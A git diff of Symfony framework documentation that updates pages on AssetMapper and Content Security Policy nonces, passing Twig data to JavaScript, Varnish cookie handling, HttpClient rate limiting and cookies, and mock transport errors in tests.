+automatically when running the ``asset-map:compile`` command (as explained in
+the :ref:`serving assets in production <asset-mapper-compile-assets>` section).
+
+See :ref:`Optimization <optimization>` for more details.
 
 Is the AssetMapper Component Production Ready? Is it Performant?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -761,6 +788,13 @@ files) with component, as those must be used in a build system. See the
 `UX Vue.js Documentation`_ for more details about using with the AssetMapper
 component.
 
+Can I Lint and Format My Code?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Not with AssetMapper, but you can install `kocal/biome-js-bundle`_ in your project
+to lint and format your front-end assets. It's much faster than alternatives like
+Prettier and requires no configuration to handle your JavaScript, TypeScript and CSS files.
+
 .. _asset-mapper-ts:
 
 Using TypeScript
@@ -918,7 +952,7 @@ This option is enabled by default.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
-via a CDN (i.e. the default value for this setting is `es-module-shims`):
+via a CDN (i.e. the default value for this setting is ``es-module-shims``):
 
 .. code-block:: yaml
 
@@ -1018,6 +1052,45 @@ have *one* importmap, so ``importmap()`` must be called exactly once.
 If, for some reason, you want to execute *only* ``checkout.js``
 and *not* ``app.js``, pass only ``checkout`` to ``importmap()``.
 
+Using a Content Security Policy (CSP)
+-------------------------------------
+
+If you're using a `Content Security Policy`_ (CSP) to prevent cross-site
+scripting attacks, the inline ``<script>`` tags rendered by the ``importmap()``
+function will likely violate that policy and will not be executed by the browser.
+
+To allow these scripts to run without disabling the security provided by
+the CSP, you can generate a secure random string for every request (called
+a *nonce*) and include it in the CSP header and in a ``nonce`` attribute on
+the ``<script>`` tags.
+The ``importmap()`` function accepts an optional second argument that can be
+used to pass attributes to the rendered ``<script>`` tags.
+You can use the `NelmioSecurityBundle`_ to generate the nonce and include
+it in the CSP header, and then pass the same nonce to the Twig function:
+
+.. code-block:: twig
+
+    {# the csp_nonce() function is defined by the NelmioSecurityBundle #}
+    {{ importmap('app', {'nonce': csp_nonce('script')}) }}
+
+Content Security Policy and CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your importmap includes CSS files, AssetMapper uses a trick to load those by
+adding ``data:application/javascript`` to the rendered importmap (see
+:ref:`Handling CSS <asset-mapper-handling-css>`).
+
+This can cause browsers to report CSP violations and block the CSS files from
+being loaded. To prevent this, you can add `strict-dynamic`_ to the ``script-src``
+directive of your Content Security Policy, to tell the browser that the importmap
+is allowed to load other resources.
+
+.. note::
+
+    When using ``strict-dynamic``, the browser will ignore any other sources in
+    ``script-src`` such as ``'self'`` or ``'unsafe-inline'``, so any other
+    ``<script>`` tags will also need to be trusted via a nonce.
+
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
 
@@ -1084,7 +1157,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _class syntax: https://caniuse.com/es6-class
 .. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html
 .. _UX Vue.js Documentation: https://symfony.com/bundles/ux-vue/current/index.html
-.. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/
 .. _Lighthouse: https://developers.google.com/web/tools/lighthouse
 .. _Tailwind: https://tailwindcss.com/
 .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle
@@ -1095,3 +1167,9 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _sensiolabs/typescript-bundle: https://github.com/sensiolabs/AssetMapperTypeScriptBundle
 .. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles
 .. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import
+.. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
+.. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
+.. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
+.. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic
+.. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
+.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 8faf0f44bb1..8f44a16f62e 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -142,21 +142,22 @@ Twig ``stimulus_*`` functions.
 
 Each controller has a number of options in ``package.json`` file:
 
-==================  ====================================================================================================
-Option              Description
-==================  ====================================================================================================
-enabled             Whether the controller should be enabled by default.
-main                Path to the controller file.
-fetch               How controller & dependencies are included when the page loads.
-                    Use ``eager`` (default) to make controller & dependencies included in the JavaScript that's
-                    downloaded when the page is loaded.
-                    Use ``lazy`` to make controller & dependencies isolated into a separate file and only downloaded
-                    asynchronously if (and when) the data-controller HTML appears on the page.
-autoimport          List of files to be imported with the controller. Useful e.g. when there are several CSS styles
-                    depending on the frontend framework used (like Bootstrap 4 or 5, Tailwind CSS...).
-                    The value must be an object with files as keys, and a boolean as value for each file to set
-                    whether the file should be imported.
-==================  ====================================================================================================
+``enabled``:
+    Whether the controller should be enabled by default.
+``main``:
+    Path to the controller file.
+``fetch``:
+    How controller & dependencies are included when the page loads.
+    Use ``eager`` (default) to make controller & dependencies included in the
+    JavaScript that's downloaded when the page is loaded.
+    Use ``lazy`` to make controller & dependencies isolated into a separate file
+    and only downloaded asynchronously if (and when) the data-controller HTML
+    appears on the page.
+``autoimport``:
+    List of files to be imported with the controller. Useful e.g. when there are
+    several CSS styles depending on the frontend framework used (like Bootstrap 4
+    or 5, Tailwind CSS...). The value must be an object with files as keys, and
+    a boolean as value for each file to set whether the file should be imported.
 
 Specifics for Asset Mapper
 --------------------------
diff --git a/frontend/encore/index.rst b/frontend/encore/index.rst
index 8e1ecb9973d..80f08deffb6 100644
--- a/frontend/encore/index.rst
+++ b/frontend/encore/index.rst
@@ -35,7 +35,6 @@ Guides
 
 * :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>`
 * :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>`
-* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>`
 * :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>`
 * :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>`
 * :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>`
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index f98ac8b75a0..2ddff9de345 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -200,7 +200,7 @@ You'll customize and learn more about these files in :doc:`/frontend/encore/simp
 When you execute Encore, it will ask you to install a few more dependencies based
 on which features of Encore you have enabled.
 
-.. caution::
+.. warning::
 
     Some of the documentation will use features that are specific to Symfony or
     Symfony's `WebpackEncoreBundle`_. These are optional, and are special ways
diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst
deleted file mode 100644
index 46492700923..00000000000
--- a/frontend/encore/server-data.rst
+++ /dev/null
@@ -1,49 +0,0 @@
-Passing Information from Twig to JavaScript with Webpack Encore
-===============================================================
-
-In Symfony applications, you may find that you need to pass some dynamic data
-(e.g. user information) from Twig to your JavaScript code. One great way to pass
-dynamic configuration is by storing information in ``data`` attributes and reading
-them later in JavaScript. For example:
-
-.. code-block:: html+twig
-
-    <div class="js-user-rating"
-        data-is-authenticated="{{ app.user ? 'true' : 'false' }}"
-        data-user="{{ app.user|serialize(format = 'json') }}"
-    >
-        <!-- ... -->
-    </div>
-
-Fetch this in JavaScript:
-
-.. code-block:: javascript
-
-    document.addEventListener('DOMContentLoaded', function() {
-        var userRating = document.querySelector('.js-user-rating');
-        var isAuthenticated = userRating.dataset.isAuthenticated;
-        var user = JSON.parse(userRating.dataset.user);
-
-        // or with jQuery
-        //var isAuthenticated = $('.js-user-rating').data('isAuthenticated');
-    });
-
-.. note::
-
-    When `accessing data attributes from JavaScript`_, the attribute names are
-    converted from dash-style to camelCase. For example, ``data-is-authenticated``
-    becomes ``isAuthenticated`` and ``data-number-of-reviews`` becomes
-    ``numberOfReviews``.
-
-There is no size limit for the value of the ``data-`` attributes, so you can
-store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing
-with HTML attributes. For example, if your ``User`` object has some ``getProfileData()``
-method that returns an array, you could do the following:
-
-.. code-block:: html+twig
-
-    <div data-user-profile="{{ app.user ? app.user.profileData|json_encode|e('html_attr') }}">
-        <!-- ... -->
-    </div>
-
-.. _`accessing data attributes from JavaScript`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d790611b511..1c6c6b05c08 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -82,7 +82,7 @@ in your ``package.json`` file.
     in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>`
     documentation.
 
-.. caution::
+.. warning::
 
     Whenever you make changes in your ``webpack.config.js`` file, you must
     stop and restart ``encore``.
@@ -434,7 +434,7 @@ Your app now supports Sass. Encore also supports LESS and Stylus. See
 Compiling Only a CSS File
 -------------------------
 
-.. caution::
+.. warning::
 
     Using ``addStyleEntry()`` is supported, but not recommended. A better option
     is to follow the pattern above: use ``addEntry()`` to point to a JavaScript
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index c24d2b3670b..d18026d3633 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -87,7 +87,7 @@ connections:
           }
       }
 
-.. caution::
+.. danger::
 
     Make sure to run the development server inside your virtual machine only;
     otherwise other computers can have access to it.
@@ -110,7 +110,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
             options.allowedHosts = all;
         })
 
-.. caution::
+.. warning::
 
     Beware that `it's not recommended to set allowedHosts to all`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
diff --git a/frontend/server-data.rst b/frontend/server-data.rst
new file mode 100644
index 00000000000..479c4ec21c2
--- /dev/null
+++ b/frontend/server-data.rst
@@ -0,0 +1,51 @@
+Passing Information from Twig to JavaScript
+===========================================
+
+In Symfony applications, you may find that you need to pass some dynamic data
+(e.g. user information) from Twig to your JavaScript code. One great way to pass
+dynamic configuration is by storing information in ``data-*`` attributes and reading
+them later in JavaScript. For example:
+
+.. code-block:: html+twig
+
+    <div class="js-user-rating"
+        data-is-authenticated="{{ app.user ? 'true' : 'false' }}"
+        data-user="{{ app.user|serialize(format = 'json') }}"
+    >
+        <!-- ... -->
+    </div>
+
+Fetch this in JavaScript:
+
+.. code-block:: javascript
+
+    document.addEventListener('DOMContentLoaded', function() {
+        const userRating = document.querySelector('.js-user-rating');
+        const isAuthenticated = userRating.getAttribute('data-is-authenticated');
+        const user = JSON.parse(userRating.getAttribute('data-user'));
+    });
+
+.. note::
+
+    If you prefer to `access data attributes via JavaScript's dataset property`_,
+    the attribute names are converted from dash-style to camelCase. For example,
+    ``data-number-of-reviews`` becomes ``dataset.numberOfReviews``:
+
+    .. code-block:: javascript
+
+        // ...
+        const isAuthenticated = userRating.dataset.isAuthenticated;
+        const user = JSON.parse(userRating.dataset.user);
+
+There is no size limit for the value of the ``data-*`` attributes, so you can
+store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing
+with HTML attributes. For example, if your ``User`` object has some ``getProfileData()``
+method that returns an array, you could do the following:
+
+.. code-block:: html+twig
+
+    <div data-user-profile="{{ app.user ? app.user.profileData|json_encode|e('html_attr') }}">
+        <!-- ... -->
+    </div>
+
+.. _`access data attributes via JavaScript's dataset property`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index b661d625420..f2400103284 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -11,8 +11,8 @@ that the returned HTML is very predictable (it only contains allowed
 elements), but it does not work well with badly formatted input (e.g.
 invalid HTML). The sanitizer is targeted for two use cases:
 
-* Preventing security attacks based on XSS or other technologies relying on
-  execution of malicious code on the visitors browsers;
+* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies
+  relying on the execution of malicious code on the visitors browsers;
 * Generating HTML that always respects a certain format (only certain
   tags, attributes, hosts, etc.) to be able to consistently style the
   resulting output with CSS. This also protects your application against
diff --git a/http_cache.rst b/http_cache.rst
index 38badf3a5c4..b0bca286281 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -327,7 +327,7 @@ Additionally, most cache-related HTTP headers can be set via the single
 
 .. tip::
 
-    All these options are also available when using the ``#[Cache()]`` attribute.
+    All these options are also available when using the ``#[Cache]`` attribute.
 
 Cache Invalidation
 ------------------
diff --git a/http_cache/_expiration-and-validation.rst.inc b/http_cache/_expiration-and-validation.rst.inc
index 3ae2113e242..cb50cd6163e 100644
--- a/http_cache/_expiration-and-validation.rst.inc
+++ b/http_cache/_expiration-and-validation.rst.inc
@@ -5,10 +5,3 @@
     both worlds. In other words, by using both expiration and validation, you
     can instruct the cache to serve the cached content, while checking back
     at some interval (the expiration) to verify that the content is still valid.
-
-    .. tip::
-
-        You can also define HTTP caching headers for expiration and validation by using
-        annotations. See the `FrameworkExtraBundle documentation`_.
-
-.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/cache.html
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4d5e07acc61..394c79aed42 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -14,7 +14,7 @@ cache lifetimes, but to actively notify the gateway cache when content
 changes. Reverse proxies usually provide a channel to receive such
 notifications, typically through special HTTP requests.
 
-.. caution::
+.. warning::
 
     While cache invalidation is powerful, avoid it when possible. If you fail
     to invalidate something, outdated caches will be served for a potentially
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index cb0db8c674d..d4e1dcbc83e 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -28,7 +28,7 @@ trigger a different representation of the requested resource:
     resource based on the URI and the value of the ``Accept-Encoding`` and
     ``User-Agent`` request header.
 
-Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache()]``
+Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache]``
 attribute::
 
 .. configuration-block::
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 52a09fb16a7..588cad424cd 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -259,7 +259,7 @@ One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
 possible.
 
-.. caution::
+.. warning::
 
     The fragment listener only responds to signed requests. Requests are only
     signed when using the fragment renderer and the ``render_esi`` Twig
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index 0d666e4cae8..d6beb777032 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -61,7 +61,7 @@ or disadvantage to either.
 
 According to the HTTP specification, "the ``Expires`` header field gives
 the date/time after which the response is considered stale." The ``Expires``
-header can be set with the ``expires`` option of the ``#[Cache()]`` attribute or
+header can be set with the ``expires`` option of the ``#[Cache]`` attribute or
 the ``setExpires()`` ``Response`` method::
 
 .. configuration-block::
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 3c1fa6d5346..a9bb668c100 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -44,6 +44,12 @@ header. In this case, you need to add the following configuration snippet:
         }
     }
 
+.. note::
+
+    Forcing HTTPS while using a reverse proxy or load balancer requires a proper
+    configuration to avoid infinite redirect loops; see :doc:`/deployment/proxies`
+    for more details.
+
 Cookies and Caching
 -------------------
 
@@ -61,24 +67,29 @@ at least for some parts of the site, e.g. when using forms with
 and clear the session when it is no longer needed. Alternatively, you can look
 into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`.
 
-Cookies created in JavaScript and used only in the frontend, e.g. when using
-Google Analytics, are nonetheless sent to the server. These cookies are not
-relevant for the backend and should not affect the caching decision. Configure
-your Varnish cache to `clean the cookies header`_. You want to keep the
-session cookie, if there is one, and get rid of all other cookies so that pages
-are cached if there is no active session. Unless you changed the default
-configuration of PHP, your session cookie has the name ``PHPSESSID``:
+Cookies created in JavaScript and used only on the frontend, such as those from
+Google Analytics, are still sent to the server. These cookies are not relevant
+for backend processing and should not influence the caching logic. To ensure
+this, configure your Varnish cache to `clean the cookies header`_ by retaining
+only essential cookies (e.g., session cookies) and removing all others. This
+allows pages to be cached when there is no active session.
+
+If you are using PHP with its default configuration, the session cookie is
+typically named ``PHPSESSID``. Additionally, if your application depends on other
+critical cookies, such as a ``REMEMBERME`` cookie for :doc:`remember me </security/remember_me>`
+functionality or a trusted device cookie for two-factor authentication, these
+cookies should also be preserved.
 
 .. configuration-block::
 
     .. code-block:: varnish4
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
@@ -92,11 +103,11 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``:
     .. code-block:: varnish3
 
         sub vcl_recv {
-            // Remove all cookies except the session ID.
+            // Remove all cookies except for essential ones.
             if (req.http.Cookie) {
                 set req.http.Cookie = ";" + req.http.Cookie;
                 set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
-                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1=");
+                set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1=");
                 set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
diff --git a/http_client.rst b/http_client.rst
index 1966dfba064..30379f9a3b3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -152,7 +152,7 @@ brings most of the available options with type-hinted getters and setters::
             ->setBaseUri('https://...')
             // replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
-            // set or replace a single header using addHeader()
+            // set or replace a single header using setHeader()
             ->setHeader('another-header-name', 'another-header-value')
             ->toArray()
     );
@@ -491,6 +491,11 @@ each request (which overrides any global authentication):
         // ...
     ]);
 
+.. note::
+
+    Basic Authentication can also be set by including the credentials in the URL,
+    such as: ``http://the-username:the-password@example.com``
+
 .. note::
 
     The NTLM authentication mechanism requires using the cURL transport.
@@ -670,6 +675,7 @@ when the streams are large)::
     $client->request('POST', 'https://...', [
         // ...
         'body' => $formData->bodyToString(),
+        'headers' => $formData->getPreparedHeaders()->toArray(),
     ]);
 
 If you need to add a custom HTTP header to the upload, you can do::
@@ -687,17 +693,21 @@ cookies automatically.
 
 You can either :ref:`send cookies with the BrowserKit component <component-browserkit-sending-cookies>`,
 which integrates seamlessly with the HttpClient component, or manually setting
-the ``Cookie`` HTTP header as follows::
+`the Cookie HTTP request header`_ as follows::
 
     use Symfony\Component\HttpClient\HttpClient;
     use Symfony\Component\HttpFoundation\Cookie;
 
     $client = HttpClient::create([
         'headers' => [
-            'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
+            // set one cookie as a name=value pair
+            'Cookie' => 'flavor=chocolate',
 
-            // you can also pass the cookie contents as a string
-            'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
+            // you can set multiple cookies at once separating them with a ;
+            'Cookie' => 'flavor=chocolate; size=medium',
+
+            // if needed, encode the cookie value to ensure that it contains valid characters
+            'Cookie' => sprintf("%s=%s", 'foo', rawurlencode('...')),
         ],
     ]);
 
@@ -1054,7 +1064,7 @@ To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 Chunked transfer encoding is enabled automatically if both your PHP runtime and
 the remote server support it.
 
-.. caution::
+.. warning::
 
     If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the
     decompression yourself.
@@ -1474,6 +1484,114 @@ installed in your application::
 :class:`Symfony\\Component\\HttpClient\\CachingHttpClient` accepts a third argument
 to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`.
 
+Limit the Number of Requests
+----------------------------
+
+This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient`
+decorator that allows to limit the number of requests within a certain period,
+potentially delaying calls based on the rate limiting policy.
+
+The implementation leverages the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood
+so the :doc:`Rate Limiter component </rate_limiter>` needs to be
+installed in your application::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                scoped_clients:
+                    example.client:
+                        base_uri: 'https://example.com'
+                        rate_limiter: 'http_example_limiter'
+
+            rate_limiter:
+                # Don't send more than 10 requests in 5 seconds
+                http_example_limiter:
+                    policy: 'token_bucket'
+                    limit: 10
+                    rate: { interval: '5 seconds', amount: 10 }
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="example.client"
+                        base-uri="https://example.com"
+                        rate-limiter="http_example_limiter"
+                    />
+                </framework:http-client>
+
+                <framework:rate-limiter>
+                    <!-- Don't send more than 10 requests in 5 seconds -->
+                    <framework:limiter name="http_example_limiter"
+                        policy="token_bucket"
+                        limit="10"
+                    >
+                        <framework:rate interval="5 seconds" amount="10"/>
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->httpClient()->scopedClient('example.client')
+                ->baseUri('https://example.com')
+                ->rateLimiter('http_example_limiter');
+                // ...
+            ;
+
+            $framework->rateLimiter()
+                // Don't send more than 10 requests in 5 seconds
+                ->limiter('http_example_limiter')
+                    ->policy('token_bucket')
+                    ->limit(10)
+                    ->rate()
+                        ->interval('5 seconds')
+                        ->amount(10)
+                ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpClient\HttpClient;
+        use Symfony\Component\HttpClient\ThrottlingHttpClient;
+        use Symfony\Component\RateLimiter\RateLimiterFactory;
+        use Symfony\Component\RateLimiter\Storage\InMemoryStorage;
+
+        $factory = new RateLimiterFactory([
+            'id' => 'http_example_limiter',
+            'policy' => 'token_bucket',
+            'limit' => 10,
+            'rate' => ['interval' => '5 seconds', 'amount' => 10],
+        ], new InMemoryStorage());
+        $limiter = $factory->create();
+
+        $client = HttpClient::createForBaseUri('https://example.com');
+        $throttlingClient = new ThrottlingHttpClient($client, $limiter);
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` was
+    introduced in Symfony 7.1.
+
 Consuming Server-Sent Events
 ----------------------------
 
@@ -1780,7 +1898,7 @@ If you want to extend the behavior of a base HTTP client, you can use
     class MyExtendedHttpClient implements HttpClientInterface
     {
         public function __construct(
-            private HttpClientInterface $decoratedClient = null
+            private ?HttpClientInterface $decoratedClient = null
         ) {
             $this->decoratedClient ??= HttpClient::create();
         }
@@ -1796,7 +1914,7 @@ If you want to extend the behavior of a base HTTP client, you can use
             return $response;
         }
 
-        public function stream($responses, float $timeout = null): ResponseStreamInterface
+        public function stream($responses, ?float $timeout = null): ResponseStreamInterface
         {
             return $this->decoratedClient->stream($responses, $timeout);
         }
@@ -2214,15 +2332,15 @@ test it in a real application::
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame('POST', $mockResponse->getRequestMethod());
-            self::assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
-            self::assertContains(
+            $this->assertSame('POST', $mockResponse->getRequestMethod());
+            $this->assertSame('https://example.com/api/article', $mockResponse->getRequestUrl());
+            $this->assertContains(
                 'Content-Type: application/json',
                 $mockResponse->getRequestOptions()['headers']
             );
-            self::assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
+            $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
 
-            self::assertSame($responseData, $expectedResponseData);
+            $this->assertSame($expectedResponseData, $responseData);
         }
     }
 
@@ -2237,11 +2355,11 @@ First, use a browser or HTTP client to perform the HTTP request(s) you want to
 test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
-    use PHPUnit\Framework\TestCase;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
-    final class ExternalArticleServiceTest extends TestCase
+    final class ExternalArticleServiceTest extends KernelTestCase
     {
         public function testSubmitData(): void
         {
@@ -2255,7 +2373,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            self::assertSame($responseData, 'the expected response');
+            $this->assertSame('the expected response', $responseData);
         }
     }
 
@@ -2273,7 +2391,26 @@ when making HTTP requests you might face errors at transport level.
 
 That's why it's useful to test how your application behaves in case of a transport
 error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows
-you to do so, by yielding the exception from its body::
+you to do so in multiple ways.
+
+In order to test errors that occur before headers have been received,
+set the ``error`` option value when creating the ``MockResponse``.
+Transport errors of this kind occur, for example, when a host name
+cannot be resolved or the host was unreachable. The
+``TransportException`` will be thrown as soon as a method like
+``getStatusCode()`` or ``getHeaders()`` is called.
+
+In order to test errors that occur while a response is being streamed
+(that is, after the headers have already been received), provide the
+exception to ``MockResponse`` as part of the ``body``
+parameter. You can either use an exception directly, or yield the
+exception from a callback. For exceptions of this kind,
+``getStatusCode()`` may indicate a success (200), but accessing
+``getContent()`` fails.
+
+The following example code illustrates all three options.
+
+body::
 
     // ExternalArticleServiceTest.php
     use PHPUnit\Framework\TestCase;
@@ -2288,10 +2425,16 @@ you to do so, by yielding the exception from its body::
         {
             $requestData = ['title' => 'Testing with Symfony HTTP Client'];
             $httpClient = new MockHttpClient([
-                // You can create the exception directly in the body...
+                // Mock a transport level error at a time before
+                // headers have been received (e. g. host unreachable)
+                new MockResponse(info: ['error' => 'host unreachable']),
+
+                // Mock a response with headers indicating
+                // success, but a failure while retrieving the body by
+                // creating the exception directly in the body...
                 new MockResponse([new \RuntimeException('Error at transport level')]),
 
-                // ... or you can yield the exception from a callback
+                // ... or by yielding it from a callback.
                 new MockResponse((static function (): \Generator {
                     yield new TransportException('Error at transport level');
                 })()),
@@ -2326,3 +2469,4 @@ you to do so, by yielding the exception from its body::
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
 .. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570
 .. _`HAR`: https://w3c.github.io/web-performance/specs/HAR/Overview.html
+.. _`the Cookie HTTP request header`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cookie
diff --git a/lock.rst b/lock.rst
index d70f1d5535b..82ec48db572 100644
--- a/lock.rst
+++ b/lock.rst
@@ -189,7 +189,7 @@ To lock the default resource, autowire the lock factory using
         }
     }
 
-.. caution::
+.. warning::
 
     The same instance of ``LockInterface`` won't block when calling ``acquire``
     multiple times inside the same process. When several services use the
diff --git a/logging.rst b/logging.rst
index ffa967962e5..0ad36031dd5 100644
--- a/logging.rst
+++ b/logging.rst
@@ -1,9 +1,10 @@
 Logging
 =======
 
-Symfony comes with a minimalist `PSR-3`_ logger: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`.
-In conformance with `the twelve-factor app methodology`_, it sends messages starting from the
-``WARNING`` level to `stderr`_.
+Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
+for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the
+CLI context. In conformance with `the twelve-factor app methodology`_, they send messages
+starting from the ``WARNING`` level to `stderr`_.
 
 The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable:
 
@@ -17,8 +18,13 @@ The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environm
 =========================  =================
 
 The minimum log level, the default output and the log format can also be changed by
-passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`.
-To do so, :ref:`override the "logger" service definition <service-psr4-loader>`.
